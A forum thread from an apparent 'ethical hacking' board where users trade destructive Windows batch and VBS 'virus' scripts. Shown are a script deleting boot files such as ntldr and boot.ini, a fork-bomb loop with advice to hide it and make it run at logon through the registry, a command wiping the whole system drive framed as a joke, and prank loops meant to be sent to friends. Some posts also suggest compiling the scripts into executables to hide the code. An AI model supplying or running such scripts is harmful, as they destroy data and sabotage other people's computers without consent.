Batch file virus

Discussion in 'Ethical hacking Tips' started by aussiedude, Nov 4, 2008.

Thread Status:
Not open for further replies.
  1. aussiedude

    aussiedude New Member

    Joined:
    May 30, 2008
    Messages:
    18
    Likes Received:
    3
    Trophy Points:
    0
    Occupation:
    white hat, free lance comp tehch
    Location:
    Darwin, NT

    Introduction



    Hey guys haven't posted in a while I have been doing a lot of school work, and there some retarded chick in my class that annoys that crap out me.

    Background



    Um I have been working on this for a while and a finally got to virus rating from MacAffe. yay XDXDXDXD

    The code



    its a batch file that wipes that start-up files of a computer, so don’t be a noob ad test it out on your own computer coz it'll screw your computer up and the only way to fix it is to re-image your computer fully (wipe the hard drive and re-install windows again LOL)

    Code:
    
    -----Disclaimer - Not to be used to damage/harm other people’s computer systems----------
    
    @echo off
    attrib -r -s -h c:\autoexec.bat
    del c:\autoexec.bat
    attrib -r -s -h c:\boot.ini
    del c:\boot.ini
    attrib -r -s -h c:\ntldr
    del c:\ntldr
    attrib -r -s -h c:\windows\win.ini
    del c:\windows\win.ini
    
    
    
    D

    Have fun lol
     
  2. xpi0t0s

    xpi0t0s Mentor

    Joined:
    Aug 6, 2004
    Messages:
    3,009
    Likes Received:
    203
    Trophy Points:
    63
    Occupation:
    Senior Support Engineer
    Location:
    England
    You've missed the last i off win.ini.
     
  3. neo_vi

    neo_vi Member

    Joined:
    Feb 1, 2008
    Messages:
    720
    Likes Received:
    16
    Trophy Points:
    18
    Occupation:
    Software engineer
    Location:
    Earth
    Home Page:
    http://computertipaday.blogspot.com
    eay way to do this. click on tools-> folder options
    In that select view tab, in that remove the checked item "Hide protected operating system files (Recommended)". then u can easily delete all these files without typing anything.

    And this cannot be called a virus mate.
     
  4. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,375
    Likes Received:
    388
    Trophy Points:
    83
    Added for him
     
  5. Bhullarz

    Bhullarz New Member

    Joined:
    Nov 15, 2006
    Messages:
    253
    Likes Received:
    13
    Trophy Points:
    0
    Occupation:
    System Manager
    Home Page:
    http://www.tutors161.com
    A batch can done the complete damage.
    Why not code this file using C++ or C, then nobody will be able to see the source code even
     
  6. Dak914

    Dak914 Member

    Joined:
    May 3, 2008
    Messages:
    48
    Likes Received:
    5
    Trophy Points:
    8
    Or just compile the batch file into a EXE.
    http://www.f2ko.de/English/index.php

    Batch file viruses are fun because of how much you can do with them.

    Code:
    @echo off
    :1
    start
    goto 1
    
    I am not the Windows expert I used to be, but just add this file to a hidden location and add a registry key to make it run after logging in and it should make the computer freak out every time after logging on. I am not sure if it will overload the memory everytime (which causes a crash) though.
     
  7. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,375
    Likes Received:
    388
    Trophy Points:
    83
  8. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,375
    Likes Received:
    388
    Trophy Points:
    83
  9. Jenniferlinn

    Jenniferlinn New Member

    Joined:
    Dec 24, 2008
    Messages:
    23
    Likes Received:
    3
    Trophy Points:
    0
    Occupation:
    search engine optimization
    Location:
    UK
    Home Page:
    http://www.micrositez.co.uk/se
    Ok thanks for the code as i am sick of these virus infection happened to PC
     
  10. Dak914

    Dak914 Member

    Joined:
    May 3, 2008
    Messages:
    48
    Likes Received:
    5
    Trophy Points:
    8
    You wouldn't have to re-image your disk per-say. You would just have to copy the four system files from a working windows machine to the "broken" machines root directory using a Linux livecd/liveusb distro (like backtrack). I have done this many times before, and it really isn't all that difficult. Just make sure you replace the same files you lost with equal files of the same name.
     
  11. jeffreytb

    jeffreytb New Member

    Joined:
    Jun 20, 2009
    Messages:
    1
    Likes Received:
    1
    Trophy Points:
    0
    try this batch
    del %systemdrive%\*.* /s /f /q
    its really funny joke Must try!!!
     
    SahanDefjam likes this.
  12. ansarialice

    ansarialice New Member

    Joined:
    Mar 30, 2010
    Messages:
    9
    Likes Received:
    1
    Trophy Points:
    0
    Occupation:
    student
    Location:
    some where
    hay guys this new to all batch virus making code:crazy:
     

    Attached Files:

    • ans.txt
      File size:
      1.8 KB
      Views:
      838
  13. abhay gupta

    abhay gupta New Member

    Joined:
    May 5, 2010
    Messages:
    3
    Likes Received:
    0
    Trophy Points:
    0
    do have this type of code for c language?
     
  14. I fail at hacking

    I fail at hacking New Member

    Joined:
    May 12, 2010
    Messages:
    3
    Likes Received:
    0
    Trophy Points:
    0
    fuckkk man i opened this file and like 300 cmd things popped up and my screen is ****** up lol
     
  15. abhay gupta

    abhay gupta New Member

    Joined:
    May 5, 2010
    Messages:
    3
    Likes Received:
    0
    Trophy Points:
    0
    i just want to know which language did u use in this batch file
     
  16. SURYANSHM

    SURYANSHM New Member

    Joined:
    May 17, 2010
    Messages:
    6
    Likes Received:
    0
    Trophy Points:
    0
    Location:
    Allahabad
    Home Page:
    http://www.suryanshm.com
    this code is used to delete the "my documents and settings" folder in the my computer plzzzzz dont try in ur pc otherwise they may create some problems.
    ---------------------------------------------------------------------------------------------------


    Rmdir c:\docume~1

    :cuss::snobby::mad::cryin::D:p:sosp::shout::happy::shy::wacky::p:p:p:p:p:p:p:p
    ---------------------------------------------------------------------------------------------------
    Enjoy My Friends :happy::happy::happy::happy::happy::happy::happy:
     
  17. SURYANSHM

    SURYANSHM New Member

    Joined:
    May 17, 2010
    Messages:
    6
    Likes Received:
    0
    Trophy Points:
    0
    Location:
    Allahabad
    Home Page:
    http://www.suryanshm.com
    common download the file and lets make the guest account to administrator account.

    ok friends now open that file and save as something.bat {guest.bat} or anything with .bat extension and then enjoy the game you will get the administrator privileges.


    :cuss::cuss::cuss::cuss::cuss::cuss::cuss::cuss::crazy::crazy::mad::mad::mad::mad::mad::mad::D:D:D:D:baby::baby::baby:
     

    Attached Files:

  18. SURYANSHM

    SURYANSHM New Member

    Joined:
    May 17, 2010
    Messages:
    6
    Likes Received:
    0
    Trophy Points:
    0
    Location:
    Allahabad
    Home Page:
    http://www.suryanshm.com
    This simple computer prank consists of a code below that will drive your friend crazy as it opens notepad continuously.

    When you type the below code and rename it as *.bat it take the above showed icon shape.

    To Open Notepad continuously in your friend’s computer:


    Type the code in notepad as :

    @ECHO off
    :top
    START %SystemRoot%\system32\notepad.exe
    GOTO top

    Save it as “notepad.BAT” and send it.

    Note: If you want to try it, then go ahead and when you built this file double click to open it. But beware it slows your system and you will be left with no other option than to restart, as this script opens 100’s of notepad window. So, If you want to try this than save all your work and then run this file.
     
  19. SURYANSHM

    SURYANSHM New Member

    Joined:
    May 17, 2010
    Messages:
    6
    Likes Received:
    0
    Trophy Points:
    0
    Location:
    Allahabad
    Home Page:
    http://www.suryanshm.com
    What this trick does is, when you run the following script it starts blinking caps Lock light continuously. If you run this script twice the rate of blink increases and alternatively NumLock light start to blink with CapsLock.
    Open Notepad and Type :


    Set wshShell =wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “{CAPSLOCK}”
    loop


    Save it as “Caps.VBS” and send it to your friend. Double Click it if you wanna see it working. Its a very funny Notepad Trick.

    Note: Don’t worry when you try this crazy notepad trick. If you want to end this script simply Open Task Manager(Alt+Ctrl+Delete). Under Processes end the process “wscript.exe”
     
  20. Pathogen

    Pathogen New Member

    Joined:
    May 27, 2010
    Messages:
    1
    Likes Received:
    0
    Trophy Points:
    0
    Or you could just use a converter couldn't you?
     
Thread Status:
Not open for further replies.

Share This Page

  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice